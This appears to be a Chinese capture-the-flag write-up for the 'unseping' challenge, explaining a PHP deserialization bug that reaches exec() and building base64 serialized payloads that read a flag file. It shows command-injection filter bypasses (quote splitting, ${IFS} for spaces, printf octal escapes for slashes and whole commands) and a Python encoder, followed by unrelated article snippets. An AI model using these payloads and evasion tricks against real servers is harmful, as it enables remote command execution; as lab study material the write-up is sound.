当前位置: 首页 > news >正文

unseping攻防世界

源码分析

<?php
highlight_file(__FILE__);//代码高亮
class ease{//声明了两个私有属性:保存要调用的方法的名称和保存该方法的参数。$method,$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。function __construct($method, $args) {$this->method = $method;$this->args = $args;}//析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。function __destruct(){//if (in_array($this->method, array("ping"))) {//call_user_func_array() 是一个函数,用于调用一个回调函数(方法),并传递参数。call_user_func_array(array($this, $this->method), $this->args);}//检查当前请求的方法 $this->method 是否为 "ping"。如果是,调用该方法(即 $this->method),并将 $this->args 作为参数传递。} //该方法将 IP 地址作为参数,并使用 将其作为 shell 命令exec执行function ping($ip){exec($ip, $result);var_dump($result);}//防火墙,通过正则匹配过滤了|,&,;,空格,/,cat,flag,tac,php,lsfunction waf($str){if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}//当对象被反序列化时,将调用该方法。它遍历属性,使用该方法匹配清理每个参数function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}   
}
//采用POST传参的方式,@抑制报错信息
$ctf=@$_POST['ctf'];
//将传入参数进行base64解码,再反序列化。
@unserialize(base64_decode($ctf));
?>

解题思路

1:要求:
对post传入的参数进行了base64解密,和反序列化。意思就是传入的值经过了base64加密和序列化。
2:preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)这句话也是一个思路,为什么过滤这些命令,肯定是对解题有帮助才不让我们用,那我们就需要绕过这些命令。
3:我们的目的是找flag,那我们就需要借助ls查看一下整体的布局,看能不能检索出有用的信息来。

第一步:构造原始poc验证思路

<?php
class ease{ private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}
}
$a=new ease("ping",array('l""s'));
$b=serialize($a);
echo base64_encode($b);
?>

在这里插入图片描述
发现回显don’t hack,这是为什么呢?我们使用了ls命令,而正则匹配那里过滤了这个语句,所有返回don’t hack。

解题

绕过ls命令

1:“”

$a=new ease("ping",array('l""s'));

2:${Z}

$a=new ease("ping",array('l${Z}s'));

3:${IFS}
在这里插入图片描述

根据回显进一步解题

${IFS}

命令执行漏洞的空格过滤,在linux当中,%09(tab)、$IFS$9、 I F S 、 {IFS}、 IFSIFS这些都可以当做空格符作为代替。此题中 $IFS$9, ${IFS}可以绕过空格此题中
1:思路
回显array(2) { [0]=> string(12) “flag_1s_here” [1]=> string(9) “index.php” } ,
显而易见藏有flag的目录在flag_1s_here,为什么不是文档英文如果是文档应该带有文件后缀,就像后面的.php,再者说如果将文件后缀名藏匿起来了后面的index.php的后缀名也应该藏起来了。这里首先猜是目录。
2:执行命令ls flag_1s_here

$a=new ease("ping",array('l""s${IFS}fla""g_1s_here'));

完整运行代码
在这里插入图片描述
执行成功,返回了藏有flag的php文件
在这里插入图片描述
3: 查看flag_831b69012c67b35f.php用到的原始命令
tac flag_1s_here/flag_831b69012c67b35f.php,
tac flag_1s_here/flag_831b69012c67b35f.php都行
加工插入poc

$a=new ease("ping",array('ta""c${IFS}fl""ag_1s_here$(printf${IFS}"\57")fla""g_831b69012c67b35f.p""hp'));
//$()中可以执行函数,"\57"为\ascii值
//$(printf${IFS}"\57")这句话用来跳过\

在这里插入图片描述
在这里插入图片描述

解法2
linux中$(printf)

1: ( ) 中可以执行命令,当 ()中可以执行命令,当 ()中可以执行命令,当()中为printf时执行打印命令。
举例

echo $(printf "\154\163")
\154 是字符 'l' 的八进制表示。
\163 是字符 's' 的八进制表示。
因此,$(printf "\154\163") 会输出字符串 ls。就会执行ls命令。

同理,这里的”\154\163“翻译成字母是ls,打印ls命令就执行了ls命令,而我们要执行的命令tac flag_1s_here/flag_831b69012c67b35f.php是否也可以用此法?

oct绕过,将命令转为八进制,执行下面代码的第二个自定义函数将命令转为八进制字符串。
def string_to_binary(string):# 将每个字符转换为其二进制表示并格式化binary_string = '\\'.join(format(ord(char), '08b') for char in string)return binary_stringdef string_to_octal(string):# 将每个字符转换为其八进制表示并格式化# ord(char)获取字符的ASCII值。# format(ord(char), '03o')将ASCII值转换为三位的八进制表示。# join()将生成的八进制字符串连接成一个以 \ 分隔的字符串。octal_string = '\\'.join(format(ord(char), '03o') for char in string)return octal_stringdef string_to_hex(string):# 将每个字符转换为其十六进制表示并格式化hex_string = '\\'.join(format(ord(char), '02x') for char in string)return hex_stringstr1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
binary_string = string_to_binary(str1)
octal_string = string_to_octal(str1)
hex_string = string_to_hex(str1)
print(f"二进制\{binary_string}")
print('\n')
print(f"八进制\{octal_string}")
print('\n')
print(f"十六进制\{hex_string}")

在这里插入图片描述
在这里插入图片描述

成功。

既然可以用编码执行命令那我们是不是可以将之前的所有步骤都用此法绕过???

经过验证完全可以,感兴趣可以去试试。

相关文章:

unseping攻防世界

源码分析 <?php highlight_file(__FILE__);//代码高亮 class ease{//声明了两个私有属性&#xff1a;保存要调用的方法的名称和保存该方法的参数。$method&#xff0c;$argsprivate $method;private $args;//构造函数在实例化类的对象时初始化,即为对象成员变量赋初始值。…...

大厂面试真题-简单描述一下SpringBoot的启动过程

SpringBoot的启动流程是一个复杂但有序的过程&#xff0c;它涉及多个步骤和组件的协同工作。以下是SpringBoot启动流程的详细解析&#xff1a; 一、启动main方法 当SpringBoot项目启动时&#xff0c;它会在当前工作目录下寻找有SpringBootApplication注解标识的类&#xff0c…...

4. 硬件实现

博客补充&#xff1a; CUDA C 编程指南学习_c cuda编程-CSDN博客https://blog.csdn.net/qq_62704693/article/details/141225395?spm1001.2014.3001.5501NVIDIA GPU 架构是围绕可扩展的多线程流式多处理器 &#xff08;SM&#xff09; 阵列构建的。当主机 CPU 上的 CUDA 程序…...

《操作系统真象还原》第3章 完善MBR【3.1 — 3.2】

目录 引用与说明 3.1、地址、section、vstart 浅尝辄止 1、什么是地址 2、什么是 section【汇编】 3、什么是 vstart【汇编】 3.2、CPU 的实模式 1、CPU 工作原理【重要】 2、实模式下的寄存器 4、实模式下 CPU 内存寻址方式 5、栈到底是什么玩意儿 6 ~ 8 无条件转移…...

八大排序-冒泡排序

在里面找动图理解 【数据结构】八大排序(超详解附动图源码)_数据结构排序-CSDN博客 一 简介 冒泡排序应该是我们最熟悉的排序了&#xff0c;在C语言阶段我们就学习了冒泡排序。 他的思想也非常简单&#xff1a; 两两元素相比&#xff0c;前一个比后一个大就交换&#xff0…...

基于Spring Boot+Vue的助农销售平台(协同过滤算法、节流算法、支付宝沙盒支付、图形化分析)

&#x1f388;系统亮点&#xff1a;协同过滤算法、节流算法、支付宝沙盒支付、图形化分析&#xff1b; 一.系统开发工具与环境搭建 1.系统设计开发工具 后端使用Java编程语言的Spring boot框架 项目架构&#xff1a;B/S架构 运行环境&#xff1a;win10/win11、jdk17 前端&…...

uniapp写抖音小程序阻止右滑返回上一个页面

最近用uniapp写小程序遇到一个问题因为内部用到右滑的业务&#xff0c;但是只要右滑就会回到上一页面&#xff0c;用了event.preventDeafult()没有用&#xff0c;看了文档找到了解决办法 1.在最外层view加上touchstart事件 <view class"container" touchstart&q…...

华为配置手工负载分担模式链路聚合实验

目录 组网需求 配置思路 操作步骤 配置文件 组网图形 图1 配置手工负载分担模式链路聚合组网图 组网需求配置思路操作步骤配置文件 组网需求 如图1所示&#xff0c;AC1和AC2通过以太链路分别都连接VLAN10和VLAN20&#xff0c;且AC1和AC2之间有较大的数据流量。 用户希望A…...

【Spring】Cookie与Session

&#x1f490;个人主页&#xff1a;初晴~ &#x1f4da;相关专栏&#xff1a;计算机网络那些事 一、Cookie是什么&#xff1f; Cookie的存在主要是为了解决HTTP协议的无状态性问题&#xff0c;即协议本身无法记住用户之前的操作。 "⽆状态" 的含义指的是: 默认情况…...

chat_gpt回答:qt中,常见格式及格式转换

在Qt中&#xff0c;常见的数据格式包括&#xff1a; QVariant&#xff1a;可以存储多种数据类型&#xff0c;包括整型、浮点型、字符串、布尔值、日期等。QString&#xff1a;用于存储和处理文本字符串。QByteArray&#xff1a;用于处理字节数组&#xff0c;常用于二进制数据。…...

CSS兼容处理

“前端开发兼容——CSS篇” 在前端开发中&#xff0c;CSS样式的兼容性问题常常让开发者感到棘手&#xff0c;尤其是当涉及到IE浏览器时。由于IE浏览器版本繁多&#xff0c;每个版本在CSS支持上还存在差异&#xff0c;这导致开发者在实现统一的视觉效果时&#xff0c;不得不编写…...

制氮机分子筛的材质选择

制氮机分子筛的材质选择对于其性能和效率至关重要。作为制氮设备中的核心部件&#xff0c;分子筛承担着将空气中的氮气与氧气有效分离的重任。以下是对制氮机分子筛常用材质的详细探讨&#xff1a; 制氮机分子筛的主要材质 碳分子筛(CMS) 碳分子筛由活性炭经过特殊工艺加工而成…...

使用Virtual Audio Cable捕获系统音频输出并使用Python处理

一、下载安装Virtual Audio Cable&#xff0c;软件下载地址和安装过程略过。 二、Virtual Audio Cable使用方法Virtual Audio Cable使用笔记一&#xff1a;使用Virtual Audio Cable将播放器的音频流传输到真实声卡驱动中_virtual audio cable control panel-CSDN博客 三、打开…...

微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析

微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析 目录 微信小程序scroll-view吸顶css样式化表格的表头及iOS上下滑动表头的颜色覆盖及性能分析 1、iOS在scroll-view内部上下滑动吸顶的现象 正常的上下滑动吸顶覆盖&#xff1a; iOS及iPa…...

HDU-1695 GCD

题目大意&#xff1a;已知 1 < x < b , 1 < y < d , 求 gcd ( x , y ) k 的对数。请注意&#xff0c;&#xff08;x5&#xff0c; y7&#xff09; 和 &#xff08;x7&#xff0c; y5&#xff09; 被认为是相同的。 思路&#xff1a;先将 gcd ( x , y ) k 两边同时…...

unity游戏开发之赛车游戏

在这个 unity 2d 赛车游戏教程中&#xff0c;我将构建一款移动超休闲赛车游戏。 这将是一个简单的 unity 2d 汽车游戏。所以这将需要有一个可以无限滚动的背景。 我们需要避开一些障碍。一些评分系统。 以及一种使用我们的手机加速度计控制我们的汽车的方法。然后&#xff0c;我…...

解决milvus migration 迁移数据到出现数据丢失问题

在迁移数据的时候发现数据丢失 问题是数据在批量迁移的过程中&#xff0c;这个错误会被忽略掉 分析下来是因为buuferSize 设置的是500条数据&#xff0c;但是迁移工具对一次迁移的数据是是有大小限制的&#xff0c;如果500条数据的总大小大于4194304&#xff0c;就会导致数据…...

Python Flask 数据库开发

Python Flask 数据库开发 引言环境配置创建 Flask 应用&#xff0c;连接数据库定义路由定义模型创建表创建 API 数据库直接操作启动 Flask 应用app.py 示例运行 Flask访问应用 展望 引言 在现代 web 开发中&#xff0c;Python 的 Flask 框架因其轻量和灵活性受到广泛欢迎。结合…...

深度学习(七)深度强化学习:融合创新的智能之路(7/10)

一、深度强化学习的崛起 深度强化学习在人工智能领域的重要地位 深度强化学习作为一种融合了深度学习和强化学习的新技术&#xff0c;在人工智能领域占据着至关重要的地位。它结合了深度学习强大的感知能力和强化学习优秀的决策能力&#xff0c;能够处理复杂的任务和环境。例如…...

mac电脑通过 npm 安装 @vue/cli脚手架超时问题;

npm 安装 vue/cli遇到的问题步骤 一、安装 Homebrew 如果你还没有安装 Homebrew&#xff0c;首先需要安装它。Homebrew 是 macOS 上的一款包管理工具&#xff0c;它允许你通过简单的命令行指令安装、更新和卸载软件包。&#xff1b; 1, 打开终端&#xff08;Terminal&#xf…...

React Native 开发环境搭建(全平台详解)

React Native 开发环境搭建&#xff08;全平台详解&#xff09; 在开始使用 React Native 开发移动应用之前&#xff0c;正确设置开发环境是至关重要的一步。本文将为你提供一份全面的指南&#xff0c;涵盖 macOS 和 Windows 平台的配置步骤&#xff0c;如何在 Android 和 iOS…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

LeetCode - 394. 字符串解码

题目 394. 字符串解码 - 力扣&#xff08;LeetCode&#xff09; 思路 使用两个栈&#xff1a;一个存储重复次数&#xff0c;一个存储字符串 遍历输入字符串&#xff1a; 数字处理&#xff1a;遇到数字时&#xff0c;累积计算重复次数左括号处理&#xff1a;保存当前状态&a…...

Objective-C常用命名规范总结

【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名&#xff08;Class Name)2.协议名&#xff08;Protocol Name)3.方法名&#xff08;Method Name)4.属性名&#xff08;Property Name&#xff09;5.局部变量/实例变量&#xff08;Local / Instance Variables&…...

2.Vue编写一个app

1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

基于数字孪生的水厂可视化平台建设:架构与实践

分享大纲&#xff1a; 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年&#xff0c;数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段&#xff0c;基于数字孪生的水厂可视化平台的…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践

6月5日&#xff0c;2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席&#xff0c;并作《智能体在安全领域的应用实践》主题演讲&#xff0c;分享了在智能体在安全领域的突破性实践。他指出&#xff0c;百度通过将安全能力…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合

在汽车智能化的汹涌浪潮中&#xff0c;车辆不再仅仅是传统的交通工具&#xff0c;而是逐步演变为高度智能的移动终端。这一转变的核心支撑&#xff0c;来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒&#xff08;T-Box&#xff09;方案&#xff1a;NXP S32K146 与…...

[ACTF2020 新生赛]Include 1(php://filter伪协议)

题目 做法 启动靶机&#xff0c;点进去 点进去 查看URL&#xff0c;有 ?fileflag.php说明存在文件包含&#xff0c;原理是php://filter 协议 当它与包含函数结合时&#xff0c;php://filter流会被当作php文件执行。 用php://filter加编码&#xff0c;能让PHP把文件内容…...